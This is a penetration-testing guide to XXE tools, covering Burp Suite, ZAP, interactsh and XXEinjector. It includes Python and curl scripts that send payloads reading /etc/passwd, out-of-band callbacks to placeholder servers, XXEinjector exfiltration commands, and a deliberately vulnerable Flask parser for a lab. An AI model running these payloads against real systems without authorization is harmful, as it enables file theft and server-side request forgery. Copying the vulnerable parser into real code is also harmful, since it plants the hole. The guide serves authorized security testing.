🔵Info0.0

XXE Testing Tools

Comprehensive guide to tools and frameworks for testing XXE vulnerabilities, from manual testing tools to automated scanners.

CWE-611: Improper Restriction of XML External Entity ReferenceOWASP Top 10:2021 - A05: Security Misconfiguration

Overview

Effective XXE testing requires a combination of manual techniques and automated tools. This guide covers essential tools for XXE detection, exploitation, and validation.

Tool Categories:

Proxy Tools - Burp Suite, OWASP ZAP for request manipulation
OOB Platforms - Burp Collaborator, interactsh for blind XXE
Exploitation Tools - XXEinjector, automated exploitation
Scanners - Automated vulnerability detection
Custom Scripts - Python/Ruby scripts for specific scenarios

Testing Workflow:

Manual Testing - Use proxy to craft and send payloads
OOB Detection - Set up callback infrastructure
Automated Scanning - Run scanners for comprehensive coverage
Exploitation - Use specialized tools for confirmed vulnerabilities
Validation - Verify findings manually

Recommended Setup:

Primary: Burp Suite Professional (or Community Edition)
OOB: Burp Collaborator or interactsh.com
Automation: Custom scripts + scanners
Documentation: Note-taking tool for findings

Burp Suite (Primary Tool)

Burp Suite for XXE Testing: Burp Suite is the industry-standard web application security testing tool, essential for XXE testing.

Key Features:

Proxy - Intercept and modify XML requests
Repeater - Resend requests with modified payloads
Collaborator (Pro) - Out-of-band interaction detection
Scanner (Pro) - Automated XXE detection
Intruder - Payload iteration and fuzzing

Burp Suite Editions:

Community Edition - Free, includes Proxy and Repeater
Professional - Paid, includes Collaborator and Scanner

XXE Testing Workflow:

Intercept XML request in Proxy
Send to Repeater
Inject XXE payload
Send request, analyze response
Use Collaborator for blind XXE
Document findings

Burp Collaborator:

Generates unique subdomain for OOB testing
Captures HTTP, DNS, and SMTP interactions
Ideal for blind XXE detection
Automatically correlates callbacks with requests

Burp Suite XXE Testing Workflow

TEXTburp-workflow.txt✓ Secure

1# Burp Suite XXE Testing Step-by-Step
2
3## 1. Proxy Setup
4- Configure browser to use Burp proxy (127.0.0.1:8080)
5- Enable intercept in Proxy tab
6- Navigate to target application
7
8## 2. Identify XML Endpoint
9- Look for POST requests with Content-Type: application/xml
10- Check API endpoints, SOAP services
11- Intercept file upload requests (SVG, DOCX, etc.)
12
13## 3. Inject XXE Payload
14- Right-click intercepted request → Send to Repeater
15- In Repeater, modify XML body:
16  
17  Original:
18  <?xml version="1.0"?>
19  <root>
20    <data>test</data>
21  </root>
22  
23  Modified:
24  <?xml version="1.0"?>
25  <!DOCTYPE root [
26    <!ENTITY xxe SYSTEM "file:///etc/passwd">
27  ]>
28  <root>
29    <data>&xxe;</data>
30  </root>
31
32## 4. Send and Analyze
33- Click "Send" in Repeater
34- Check response for file contents
35- Look for error messages revealing paths
36- Note response time changes
37
38## 5. Burp Collaborator (Pro Only)
39- Click "Burp Collaborator client" in Burp menu
40- Click "Copy to clipboard" to get unique domain
41- Inject payload with Collaborator domain:
42  
43  <!DOCTYPE root [
44    <!ENTITY xxe SYSTEM "http://BURP-COLLAB-SUBDOMAIN.burpcollaborator.net/xxe">
45  ]>
46  <root><data>&xxe;</data></root>
47  
48- Send request
49- Check Collaborator client for HTTP requests
50- Interaction = Blind XXE confirmed
51
52## 6. Scanner (Pro Only)
53- Right-click request → "Do active scan"
54- Scanner will automatically test XXE payloads
55- Review findings in "Target" → "Site map"
56
57## 7. Document Findings
58- Take screenshots of successful payloads
59- Note exact request/response
60- Document impact (files read, SSRF capabilities)
61- Export requests for report

OWASP ZAP (Free Alternative)

OWASP ZAP for XXE Testing: Free, open-source alternative to Burp Suite with XXE detection capabilities.

Key Features:

Intercepting Proxy - Intercept and modify requests
Active Scanner - Automated vulnerability scanning
Fuzzer - Payload fuzzing capabilities
API Support - Script and automate testing
100% Free - No paid tier

XXE in ZAP:

Built-in active scan rules for XXE
Can intercept and modify XML requests
Supports custom payloads via fuzzer
API for automation

Limitations vs Burp:

No built-in OOB platform (need external service)
Scanner less comprehensive
UI less polished

When to Use:

Budget constraints
Open-source requirements
Automated scanning in CI/CD
Basic manual testing

Interactsh (Free OOB Platform)

Interactsh for Blind XXE: Free, open-source platform for detecting out-of-band interactions.

What is Interactsh:

Free alternative to Burp Collaborator
Detects HTTP, DNS, SMTP interactions
Web interface and CLI available
Self-hostable or use public instance

Usage:

Visit interactsh.com or run CLI
Generate unique domain (e.g., abc123.oast.fun)

Use in XXE payload:

<!ENTITY xxe SYSTEM "http://abc123.oast.fun/xxe">

Check interactsh for interactions
HTTP/DNS request = blind XXE confirmed

CLI Usage:

# Install
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# Run
interactsh-client

# Use generated domain in XXE payload
# Watch for interactions in terminal

Self-Hosting:

Full control over data
No reliance on third-party service
Customizable domain
Docker deployment available

XXEinjector (Automated Exploitation)

XXEinjector: Ruby-based tool for automated XXE exploitation and data exfiltration.

Features:

Automated file disclosure via XXE
OOB data exfiltration
Enumerates files and directories
Supports various encoding schemes
SSRF exploitation
Java jar:// and netdoc:// exploitation

Installation:

git clone https://github.com/enjoiz/XXEinjector.git
cd XXEinjector
gem install nokogiri

Basic Usage:

# Enumerate files
ruby XXEinjector.rb --host=192.168.1.100 --path=/api/xml --file=/tmp/request.txt --enumerate

# Read specific file
ruby XXEinjector.rb --host=192.168.1.100 --path=/api/xml --file=/tmp/request.txt --target=/etc/passwd

# OOB exploitation
ruby XXEinjector.rb --host=192.168.1.100 --path=/api/xml --file=/tmp/request.txt --oob=http --phpfilter

When to Use:

Confirmed XXE vulnerability
Need to extract multiple files
Automated data exfiltration
Testing blind XXE variants

Limitations:

Requires Ruby environment
Can be noisy (multiple requests)
May trigger rate limiting
Requires manual request template

Custom Python Scripts

Pythonxxe_test.py✓ Secure
#!/usr/bin/env python3
"""Simple XXE testing script"""

import requests
import sys

def test_xxe(url, file_path):
    """
    Test XXE vulnerability by attempting file disclosure
    
    Args:
        url: Target URL that accepts XML
        file_path: File to attempt to read (e.g., /etc/passwd)
    """
    
    # XXE payload
    payload = f'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file://{file_path}">
]>
<root>
  <data>&xxe;</data>
</root>'''
    
    headers = {
        'Content-Type': 'application/xml',
        'User-Agent': 'XXE-Tester/1.0'
    }
    
    try:
        print(f"[*] Testing XXE on {url}")
        print(f"[*] Attempting to read: {file_path}")
        
        response = requests.post(
            url,
            data=payload,
            headers=headers,
            timeout=10
        )
        
        print(f"[*] Status Code: {response.status_code}")
        print(f"[*] Response Length: {len(response.text)}")
        
        # Check if file contents in response
        if 'root:' in response.text or 'daemon:' in response.text:
            print("[+] VULNERABLE! File contents found in response:")
            print(response.text[:500])  # First 500 chars
            return True
        else:
            print("[-] No file contents detected")
            print("[*] Response preview:")
            print(response.text[:200])
            return False
            
    except requests.exceptions.RequestException as e:
        print(f"[!] Error: {e}")
        return False

def test_xxe_oob(url, callback_url):
    """
    Test blind XXE with out-of-band callback
    
    Args:
        url: Target URL
        callback_url: Your server URL (or Burp Collaborator)
    """
    
    payload = f'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "{callback_url}">
]>
<root>
  <data>&xxe;</data>
</root>'''
    
    headers = {'Content-Type': 'application/xml'}
    
    try:
        print(f"[*] Testing blind XXE on {url}")
        print(f"[*] Callback URL: {callback_url}")
        print("[*] Check your server logs for incoming request")
        
        response = requests.post(url, data=payload, headers=headers, timeout=10)
        print(f"[*] Request sent. Status: {response.status_code}")
        print("[*] Check callback server for interaction")
        
    except requests.exceptions.RequestException as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python xxe_test.py <url> [file_path]")
        print("Example: python xxe_test.py http://target.com/api/xml /etc/passwd")
        sys.exit(1)
    
    url = sys.argv[1]
    file_path = sys.argv[2] if len(sys.argv) > 2 else "/etc/hostname"
    
    # Test classic XXE
    test_xxe(url, file_path)
    
    # Test blind XXE (replace with your callback URL)
    # test_xxe_oob(url, "http://YOUR-SERVER.com/xxe")

Command-Line Testing with curl

Bashxxe_curl_test.sh✓ Secure
#!/bin/bash
# XXE testing with curl

# Basic XXE test - file disclosure
curl -X POST http://target.com/api/xml \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>'

# XXE with OOB callback
curl -X POST http://target.com/api/xml \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "http://YOUR-SERVER.com/xxe">
]>
<root><data>&xxe;</data></root>'

# Save payload to file for cleaner testing
cat > xxe_payload.xml <<EOF
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<root>
  <data>&xxe;</data>
</root>
EOF

# Send saved payload
curl -X POST http://target.com/api/xml \
  -H "Content-Type: application/xml" \
  -d @xxe_payload.xml \
  -v  # Verbose for headers and response

# Test with timeout (useful for blind XXE)
curl -X POST http://target.com/api/xml \
  -H "Content-Type: application/xml" \
  -d @xxe_payload.xml \
  --max-time 5 \
  -w "\nTime: %{time_total}s\n"

# Follow redirects and save response
curl -X POST http://target.com/api/xml \
  -H "Content-Type: application/xml" \
  -d @xxe_payload.xml \
  -L \
  -o response.txt

echo "Response saved to response.txt"

Automated Security Scanners

Web Application Scanners with XXE Detection:

1. Burp Scanner (Professional)

Comprehensive XXE detection
Automatic payload generation
OOB interaction detection
Low false positive rate
Cost: Paid ($449/year)

2. OWASP ZAP

Active scanner with XXE rules
Free and open-source
API for CI/CD integration
Cost: Free

3. Acunetix

Commercial scanner
XXE detection capabilities
Detailed reporting
Cost: Paid (enterprise)

4. Netsparker

Automatic XXE detection
Proof-based scanning
Low false positives
Cost: Paid

5. Nikto

Free web server scanner
Limited XXE detection
Good for initial reconnaissance
Cost: Free

Scanner Limitations:

May miss custom XML parsing logic
Limited blind XXE detection
Can generate false positives
May not test all attack vectors

Best Practice: Combine automated scanning with manual testing for comprehensive coverage.

Docker Testing Environment

Bashdocker_setup.sh✓ Secure
#!/bin/bash
# Create isolated XXE testing environment with Docker

# Create Dockerfile for vulnerable app (for testing purposes)
cat > Dockerfile <<EOF
FROM python:3.9-slim

WORKDIR /app

# Install dependencies
RUN pip install flask lxml

# Copy vulnerable app
COPY vulnerable_app.py .

EXPOSE 5000

CMD ["python", "vulnerable_app.py"]
EOF

# Create vulnerable Flask app (for educational/testing purposes)
cat > vulnerable_app.py <<'EOF'
from flask import Flask, request
from lxml import etree

app = Flask(__name__)

@app.route('/parse', methods=['POST'])
def parse_xml():
    # VULNERABLE: External entities enabled
    parser = etree.XMLParser(resolve_entities=True, no_network=False)
    
    try:
        xml_data = request.data
        doc = etree.fromstring(xml_data, parser)
        return f"Parsed: {etree.tostring(doc).decode()}", 200
    except Exception as e:
        return f"Error: {str(e)}", 400

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)
EOF

# Build Docker image
docker build -t xxe-test-app .

# Run container
docker run -d -p 5000:5000 --name xxe-test xxe-test-app

echo "Vulnerable app running on http://localhost:5000/parse"
echo "Test with: curl -X POST http://localhost:5000/parse -d @xxe_payload.xml"

# Cleanup command
echo "To stop: docker stop xxe-test && docker rm xxe-test"

Tool Comparison Matrix

XXE Testing Tool Comparison:

Manual Testing:

Burp Suite Pro - ⭐⭐⭐⭐⭐ (Best overall, paid)
Burp Suite Community - ⭐⭐⭐⭐ (Great, free, no Collaborator)
OWASP ZAP - ⭐⭐⭐ (Good, free, less polished)
curl - ⭐⭐⭐ (Simple, scriptable, manual)

OOB Detection:

Burp Collaborator - ⭐⭐⭐⭐⭐ (Best, integrated, paid)
Interactsh - ⭐⭐⭐⭐ (Excellent, free)
Custom Server - ⭐⭐⭐ (Full control, requires setup)

Automated Exploitation:

XXEinjector - ⭐⭐⭐⭐ (Powerful, requires Ruby)
Custom Scripts - ⭐⭐⭐ (Flexible, requires development)
Burp Scanner - ⭐⭐⭐⭐ (Automated, paid)

Scanners:

Burp Scanner - ⭐⭐⭐⭐⭐ (Most accurate, paid)
OWASP ZAP Scanner - ⭐⭐⭐ (Good, free)
Acunetix - ⭐⭐⭐⭐ (Commercial, expensive)
Nikto - ⭐⭐ (Basic, free)

Recommended Setup:

Budget: OWASP ZAP + Interactsh + Custom scripts
Professional: Burp Suite Pro + Custom scripts
Enterprise: Burp Suite Pro + Commercial scanner + CI/CD integration

XXE Testing Toolkit Checklist

Essential Tools: ☐ Intercepting Proxy • Burp Suite Pro/Community OR OWASP ZAP • Configured and tested • Browser proxy settings configured

☐ OOB Platform • Burp Collaborator (if Pro) OR • Interactsh account/CLI OR • Custom server with logging • Tested and accessible

☐ Command-Line Tools • curl installed • wget installed • Basic payload files created

☐ Scripting Environment • Python 3.x installed • Requests library installed (pip install requests) • Basic XXE test script ready

☐ Optional Advanced Tools • XXEinjector (if testing confirmed XXE) • Docker (for testing environments) • Automated scanner

Configuration: ☐ Proxy certificate installed in browser ☐ OOB platform tested and working ☐ Payload templates prepared ☐ Note-taking tool ready (Obsidian, CherryTree, etc.) ☐ Screenshot tool configured

Pre-Testing: ☐ Written authorization obtained ☐ Scope clearly defined ☐ Tools tested on safe target first ☐ Backup plan if tools cause issues ☐ Communication channel with team established